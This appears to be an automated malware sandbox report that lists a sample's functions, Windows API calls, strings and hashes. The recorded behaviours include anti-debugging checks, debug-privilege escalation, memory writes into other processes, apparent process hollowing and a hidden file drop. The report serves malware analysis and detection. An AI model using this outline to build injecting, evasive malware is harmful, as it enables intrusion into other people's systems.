Part of subcall function 00007FF7CDC440E4: OpenProcess.KERNEL32 ref: 00007FF7CDC441D1
Part of subcall function 00007FF7CDC440E4: CloseHandle.KERNEL32 ref: 00007FF7CDC44249

GetProcessHeap.KERNEL32 ref: 00007FF7CDC43037
HeapFree.KERNEL32 ref: 00007FF7CDC4304A

Strings

.x64, xrefs: 00007FF7CDC42FEE
chFrWWdQWsLFevUr, xrefs: 00007FF7CDC42FDB

Memory Dump Source

Source File: 00000000.00000002.1325355643.00007FF7CDC41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7CDC40000, based on PE: true

Associated: 00000000.00000002.1325269153.00007FF7CDC40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325462961.00007FF7CDC45000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325521531.00007FF7CDC47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325600967.00007FF7CDC48000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1325705613.00007FF7CDC4A000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7cdc40000_mggoBrtk9t.jbxd

Similarity

API ID: lstrcat$Process$CloseCreateFileHandleHeapOpenToken$AdjustAttributesCurrentDirectoryFolderFreeLookupPathPrivilegePrivilegesValue
String ID: .x64$chFrWWdQWsLFevUr
API String ID: 3992431006-2286007224
Opcode ID: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction ID: b3b67cddcedcbcd1e112dec8791a624e36ba396198720cb1aec5447a89793e6c
Opcode Fuzzy Hash: cbab157b2d9c68e389ca682648b14c554c0f20e1364e44505b152457a58d70d4
Instruction Fuzzy Hash: CE11E930B1CA8289E630FF50F85D3B5B7A2FB84364F904535D66C426A5EF7CD0668BA0

Analysis Process: svchost.exePID: 2012, Parent PID: 6568COMMON

Execution Graph

Execution Coverage:	38.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	481
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF68DEA345C Relevance: 47.4, APIs: 20, Strings: 7, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF68DEA321C: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF68DEA346D), ref: 00007FF68DEA3220

ExitProcess.KERNEL32 ref: 00007FF68DEA3476
ExitProcess.KERNEL32 ref: 00007FF68DEA34D4

Strings

worker_FDhvwc, xrefs: 00007FF68DEA35CD
worker_BAccdq, xrefs: 00007FF68DEA3510
msiexec.exe, xrefs: 00007FF68DEA34FB
worker_RdDwvE, xrefs: 00007FF68DEA34BF
audiodg.exe, xrefs: 00007FF68DEA354C
worker_kBEqZh, xrefs: 00007FF68DEA3561
svchost.exe, xrefs: 00007FF68DEA3497

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: ExitProcess$DebuggerPresent
String ID: audiodg.exe$msiexec.exe$svchost.exe$worker_BAccdq$worker_FDhvwc$worker_RdDwvE$worker_kBEqZh
API String ID: 613740775-1953711635
Opcode ID: 14c2fa25876479cd5c5c4ade1a135fd90693f5b51d36c120125410f70aa3ba6a
Instruction ID: 57088db78964b017d4256cd8d882242c5dca6ed8f36ee8e35c886849517a6257
Opcode Fuzzy Hash: 14c2fa25876479cd5c5c4ade1a135fd90693f5b51d36c120125410f70aa3ba6a
Instruction Fuzzy Hash: 0161F820A1CA53D1EA65ABB5A89D37E22B0BFB5701F50013DD45EE65E1FE2DE40DC630

Function 00007FF68DEA40E4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 75
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF68DEA414B
OpenProcessToken.ADVAPI32 ref: 00007FF68DEA415E
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF68DEA4186
AdjustTokenPrivileges.KERNELBASE ref: 00007FF68DEA41B1
CloseHandle.KERNEL32 ref: 00007FF68DEA41BC
OpenProcess.KERNEL32 ref: 00007FF68DEA41D1
WaitForSingleObject.KERNEL32 ref: 00007FF68DEA422C
CloseHandle.KERNEL32 ref: 00007FF68DEA4249

Strings

SeDebugPrivilege, xrefs: 00007FF68DEA417D

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Process$CloseHandleOpenToken$AdjustCurrentLookupObjectPrivilegePrivilegesSingleValueWait
String ID: SeDebugPrivilege
API String ID: 2379135442-2896544425
Opcode ID: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction ID: 6614eb69e7db68fb893274e702d0007f17de7a1a0eb2dc5981dfc78700ea12d4
Opcode Fuzzy Hash: 6555fb06984b99f5dc155d762adf927f354496d136c17024d6a4529462c8518f
Instruction Fuzzy Hash: A1414A72618A82C6E350DB51F44876AB7B0FFE4754F504138EA8996A98EFBDD448CB10

Function 00007FF68DEA4264 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3481), ref: 00007FF68DEA4268
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3481), ref: 00007FF68DEA427B
GetTokenInformation.KERNELBASE ref: 00007FF68DEA42AC
GetTokenInformation.KERNELBASE ref: 00007FF68DEA42DE
CloseHandle.KERNEL32 ref: 00007FF68DEA42ED

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Token$InformationProcess$CloseCurrentHandleOpen
String ID:
API String ID: 434396405-0
Opcode ID: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction ID: 7233c69bff217b388f3ed7ba30086d2bbd1ad6a6c2a72999c924247f950bf6aa
Opcode Fuzzy Hash: 906cecabab3cd27e08f2376114ae2c378e45192d3ef69b8435bc731b0b72a338
Instruction Fuzzy Hash: 46311332618A82C6D750DB45E48876EB7B0FBE4780F100139FA8E93A68EF7CD449CB10

Function 00007FF68DEA2CB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82
memoryinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNEL32 ref: 00007FF68DEA2D6F
WriteProcessMemory.KERNELBASE ref: 00007FF68DEA2DC1
VirtualProtectEx.KERNEL32 ref: 00007FF68DEA2DF7

Strings

@, xrefs: 00007FF68DEA2D54

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: Virtual$AllocMemoryProcessProtectWrite
String ID: @
API String ID: 4073123320-2766056989
Opcode ID: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction ID: af4695d7cd4395047c6e985774e471a7381427a997a2c2f47864c68c1c5912e0
Opcode Fuzzy Hash: f3439f0f28ca5504b0ff3065ed7b98b6ad7e1e81e5eec6f55742a1d8705483ff
Instruction Fuzzy Hash: C541B43260CA86C6E770CB15E45876AB7B0FB94B84F105029EACDA7B58EF7DD448CB50

Function 00007FF68DEA46E4 Relevance: 25.7, APIs: 17, Instructions: 155
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF68DEA472B
GetFileSize.KERNEL32 ref: 00007FF68DEA474C
GetProcessHeap.KERNEL32 ref: 00007FF68DEA4762
RtlAllocateHeap.NTDLL ref: 00007FF68DEA477B
CloseHandle.KERNEL32 ref: 00007FF68DEA4793

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: FileHeap$AllocateCloseCreateHandleProcessSize
String ID:
API String ID: 2693768547-0
Opcode ID: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction ID: a767963d47793ba6af96785e2c6ade7d313f3509608d30a825b8cd4932211fd5
Opcode Fuzzy Hash: 4e31ffde3c8b45f3337ce6ae119efcfc5e37158fb3e9376a1b8de9c2123a5d47
Instruction Fuzzy Hash: F781E072608B82C6D650DB55F48436AB7B0FBD9B91F104139EA8D93B68EF7CD458CB10

Function 00007FF68DEA38C4 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF68DEA3744: GetWindowsDirectoryW.KERNEL32 ref: 00007FF68DEA3784
Part of subcall function 00007FF68DEA3744: GetVolumeInformationW.KERNELBASE ref: 00007FF68DEA3801
Part of subcall function 00007FF68DEA3744: wsprintfW.USER32 ref: 00007FF68DEA38A2

SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA390D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3922
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3935
CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3945
SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3958
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA396D
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3980
lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3995

Strings

.exe, xrefs: 00007FF68DEA3986

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: lstrcat$Directory$AttributesCreateFileFolderInformationPathVolumeWindowswsprintf
String ID: .exe
API String ID: 1846285901-4119554291
Opcode ID: ad427c8d5848fc1249d0a57c1c2e5cab76719b9f7eb05ae4e82a907526b46e72
Instruction ID: f57ec2401ea0e9f999dc4922fd5ba89cceb52bb247bceeeb7dd41d5eb654ea41
Opcode Fuzzy Hash: ad427c8d5848fc1249d0a57c1c2e5cab76719b9f7eb05ae4e82a907526b46e72
Instruction Fuzzy Hash: 9D110D21628987C5DB60EF25F89876A63B2FFD4B80F515035DA4E97A29EE3CD40DC710

Function 00007FF68DEA4004 Relevance: 7.5, APIs: 5, Instructions: 35
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF68DEA4022
Process32FirstW.KERNEL32 ref: 00007FF68DEA4054
wcscmp.MSVCRT ref: 00007FF68DEA406B
CloseHandle.KERNELBASE ref: 00007FF68DEA40A1

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32wcscmp
String ID:
API String ID: 2850635065-0
Opcode ID: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction ID: 1797bb151c3fa9dbe2cab4c77aa780fd97fdebd86b1d7d78c2bb3b3d77a7b3b6
Opcode Fuzzy Hash: 63e5253a01a862d048e65b759e2ae1b9c40c069b321cf87a3327907f1e8bf356
Instruction Fuzzy Hash: A2110631A0CA92C1E770DB20E48C36A63B0FFA4754F104238C69D92A98EF2DD508DB10

Function 00007FF68DEA3744 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryW.KERNEL32 ref: 00007FF68DEA3784
GetVolumeInformationW.KERNELBASE ref: 00007FF68DEA3801
wsprintfW.USER32 ref: 00007FF68DEA38A2

Strings

%08lX%04lX%lu, xrefs: 00007FF68DEA3893

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowswsprintf
String ID: %08lX%04lX%lu
API String ID: 3001812590-640692576
Opcode ID: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction ID: 2d13c28038ec91b99dfbb8dae2d24367b6962ee30324a43aa1d2f17bdb7ba816
Opcode Fuzzy Hash: 740950ab7a4208dc5b437e8a53e5df2709b55f7c6f134fefe08efd8bb3628865
Instruction Fuzzy Hash: 1931D72661C6C2C6D730DBA4E4983ABB3B0FB94744F50112AE68DD7A98EF7DD509CB10

Function 00007FF68DEA321C Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,00007FF68DEA346D), ref: 00007FF68DEA3220
GetCurrentProcess.KERNEL32 ref: 00007FF68DEA3236
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF68DEA3244

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: DebuggerPresent$CheckCurrentProcessRemote
String ID:
API String ID: 3920101602-0
Opcode ID: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction ID: 151b6bec8ffde8a061455c0b782114579d8401cb79cb014855f20224848f06f4
Opcode Fuzzy Hash: 5a6d4a932f5469025ed13b66ad34693541af773f9e8b826c55cb2142a42793b4
Instruction Fuzzy Hash: D3F0FE21A0C283C1F7319BA5A40C37D67B0BFA5B08F2411B8D98D96594EF6CE50DDB31

Function 00007FF68DEA43A4 Relevance: 4.5, APIs: 3, Instructions: 21
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexExA.KERNELBASE ref: 00007FF68DEA43B9
GetLastError.KERNEL32 ref: 00007FF68DEA43D0
CloseHandle.KERNEL32 ref: 00007FF68DEA43E2

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: CloseCreateErrorHandleLastMutex
String ID:
API String ID: 4294037311-0
Opcode ID: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction ID: 40a58b751ec401df8f9a93507bc5568afc98fd7edc03ee7869848003d95b120b
Opcode Fuzzy Hash: 7b7f23db395eba8d18a11b8c6077d8c5ef125244b6b8ccbe54b8300fae36e676
Instruction Fuzzy Hash: 91F0302590C647C2EA61AB20A44A37D23B0FFB5700F600439D98EE2A54DF2DD44DD620

Function 00007FF68DEA32EC Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF68DEA38C4: SHGetFolderPathW.SHELL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA390D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3922
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3935
Part of subcall function 00007FF68DEA38C4: CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3945
Part of subcall function 00007FF68DEA38C4: SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3958
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA396D
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3980
Part of subcall function 00007FF68DEA38C4: lstrcatW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF68DEA3AA9), ref: 00007FF68DEA3995

Part of subcall function 00007FF68DEA46E4: CreateFileW.KERNELBASE ref: 00007FF68DEA472B

CreateThread.KERNEL32 ref: 00007FF68DEA3376

Part of subcall function 00007FF68DEA40E4: GetCurrentProcess.KERNEL32 ref: 00007FF68DEA414B
Part of subcall function 00007FF68DEA40E4: OpenProcessToken.ADVAPI32 ref: 00007FF68DEA415E
Part of subcall function 00007FF68DEA40E4: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF68DEA4186
Part of subcall function 00007FF68DEA40E4: AdjustTokenPrivileges.KERNELBASE ref: 00007FF68DEA41B1
Part of subcall function 00007FF68DEA40E4: CloseHandle.KERNEL32 ref: 00007FF68DEA41BC
Part of subcall function 00007FF68DEA40E4: OpenProcess.KERNEL32 ref: 00007FF68DEA41D1
Part of subcall function 00007FF68DEA40E4: CloseHandle.KERNEL32 ref: 00007FF68DEA4249

Strings

.x64, xrefs: 00007FF68DEA3304

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: lstrcat$CreateProcess$CloseFileHandleOpenToken$AdjustAttributesCurrentDirectoryFolderLookupPathPrivilegePrivilegesThreadValue
String ID: .x64
API String ID: 3156018730-2481150777
Opcode ID: afb6772baf312ace8b13902d488d759376c55ca1c170216b345ff2e1d52a3f88
Instruction ID: 3e84f0050e43ed9c30a51234d52d976e67c1b6e67e1427f19fd48db3e0eb2afc
Opcode Fuzzy Hash: afb6772baf312ace8b13902d488d759376c55ca1c170216b345ff2e1d52a3f88
Instruction Fuzzy Hash: A2011A24A18543C5E750EB24E88D7B967B4BFA4304F90403AD80DE76A6EE3CE14DC770

Function 00007FF68DEA1050 Relevance: 3.0, APIs: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00007FF68DEA1063
GetProcAddress.KERNEL32 ref: 00007FF68DEA1078

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction ID: 309e00eb2d10a18bdd2afaf14acfb1da2d7301531367945b87301b203889f5c4
Opcode Fuzzy Hash: 93e6198b99d5b023e326d4442bf2863252b60b3359320dbad58740b6c0f3b775
Instruction Fuzzy Hash: 7DE09276608F81C6C620EB15F88401AB7B4FBC8794F504125EACD82B28DF3CC169CB00

Function 00007FF68DEA3B24 Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE ref: 00007FF68DEA3B42

Memory Dump Source

Source File: 00000002.00000002.3803542336.00007FF68DEA1000.00000020.00000400.00020000.00000000.sdmp, Offset: 00007FF68DEA0000, based on PE: true

Associated: 00000002.00000002.3801907104.00007FF68DEA0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3804794737.00007FF68DEA5000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805593731.00007FF68DEA7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3805844197.00007FF68DEA8000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3806839554.00007FF68DEAA000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff68dea0000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction ID: 6688748036f94df7366f43ded55787fcefa9ee3e49d8f4467a69d6baef31aa76
Opcode Fuzzy Hash: c74ceee972ecbb736572674712f2cdca0c3e821b549de7bb17b5936316a1e88a
Instruction Fuzzy Hash: E7D0C921E38942C1E794AB26E889719A2A1FFD4B44F808039E68991564DE3CC499CF00

Non-executed Functions

Function 00007FF68DEA2048 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 440COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 00007FF68DEA20AD

Strings

NtUnmapViewOfSection, xrefs: 00007FF68DEA23AE
@, xrefs: 00007FF68DEA2429
.reloc, xrefs: 00007FF68DEA264F
ntdll, xrefs: 00007FF68DEA2399

Memory Dump Source

